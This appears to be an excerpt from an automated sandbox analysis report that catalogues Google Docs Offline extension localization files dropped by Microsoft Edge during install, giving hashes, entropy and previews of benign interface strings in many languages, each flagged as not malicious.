Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\be\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\bg\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\bn\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ca\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\cs\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\cy\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\da\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\de\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\el\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\en\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\en_CA\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\en_GB\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\en_US\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\es\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\es_419\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\et\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\eu\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\fa\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
